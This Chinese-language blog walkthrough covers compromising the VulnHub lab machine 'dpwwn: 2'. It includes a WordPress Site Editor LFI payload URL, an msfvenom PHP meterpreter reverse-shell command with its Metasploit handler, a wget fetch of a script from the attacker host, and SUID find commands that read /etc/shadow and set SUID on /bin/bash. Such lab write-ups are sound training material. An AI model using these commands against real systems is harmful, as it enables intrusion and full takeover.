『VulnHub系列』dpwwn: 2-Walkthrough

靶机地址

难度:中等+
靶机发布日期:2019年8月8日

在这里插入图片描述
靶机描述:This boot2root is a linux based virtual machine and has been tested using VMware workstation.

Difficulty: Intermediate++ and fun.

Goal: Get the root shell i.e.(root@dpwwn-02:~#) and then obtain flag under /root(dpwwn-02-FLAG.txt).

Networking

DHCP service: Disabled

Static IP address: 10.10.10.10

Note: Host only network adapter set (VM IP: 10.10.10.10/24)

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • gobuster
  • searchsploit
  • metaspaloit
  • msfvenom

0x00、网络初始化

第一步,设置VMware的vmnet1(Host only)的子网IP为10.10.10.0,子网掩码255.255.255.0。

如果你也是用的Linux宿主机,那么需要通过命令行打开vmware,且使用root权限:sudo vmware才能修改VMware的网络配置。

在这里插入图片描述
第二步,设置靶机的网络为Host only。

第三步,配置kali的网络为Host only,手动其网络。

ifconfig eth0 10.10.10.12 netmask 255.255.255.0

在这里插入图片描述

0x01、信息收集

靶机IP:10.10.10.10

端口和服务

nmap -sS -sV -A -T5 -p- 10.10.10.10 --system-dns

在这里插入图片描述
在这里插入图片描述
页面、目录枚举

dirb http://10.10.10.10 -X .php,.txt,.zip,.html

在这里插入图片描述

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在这里插入图片描述
http://10.10.10.10/

在这里插入图片描述

wpscan扫描,现在使用wpscan需要使用官方的api-token,这个可以自己注册一个免费账号,但是扫描的时候报错了,看了一下因为kali现在连接不了外网,解决办法是把kali的网络连接模式改成NAT,这样既可以访问靶机也可以访问外网。

在这里插入图片描述
检测到如下漏洞:

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
site editor插件存在LFI漏洞,http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

在这里插入图片描述
在这里插入图片描述
尝试挂载nfs共享,提示被服务器拒绝了,想到有可能是网络的问题,所以修改kali的网络设置为host only,然后用ifconfig临时配置了kali的IP为10.10.10.12,之后成功挂载

在这里插入图片描述

0x01、getshell

用LFI配合NFS共享打一波组合拳,反弹一下shell

ifconfig命令查看kali的IP:10.10.10.12

第一步,msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.12 LPORT=1234 R > shell.php

!!!注意:使用时需要去掉最开头的两个字符/*,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell.

在这里插入图片描述
第二步,msfconsole接收反弹的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

第三步,使用curl或者浏览器发起请求

curl http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php\?ajax_path\=/home/dpwwn02/webshell.php

在这里插入图片描述
获取shell之后的第一步使用Python获取一个tty

python -c 'import pty; pty.spawn("/bin/bash")'

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

SUID权限可执行文件,发现find命令具有SUID权限

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
在这里插入图片描述

想直接使用find反弹shell的,结果因为靶机是Ubuntu系统,出于安全考虑默认是无法使用-e参数的

在这里插入图片描述
使用SUID权限的find命令提权时主要是利用它的-exec参数,比如,执行nc命令;配合cat 读取/etc/shadow。感觉还是贼好玩的~

在这里插入图片描述
本来想用echo往/etc/passwd添加一个超管用户的,结果提示没有权限……

在这里插入图片描述
嗯~这怎么难得到我,SUID权限的/bin/bash可以提权,对吧~那我们来一波骚气的操作。用find配合chmod给/bin/bash赋予SUID权限。

find hack -exec chmod u+s /bin/bash \;

在这里插入图片描述
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.
在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章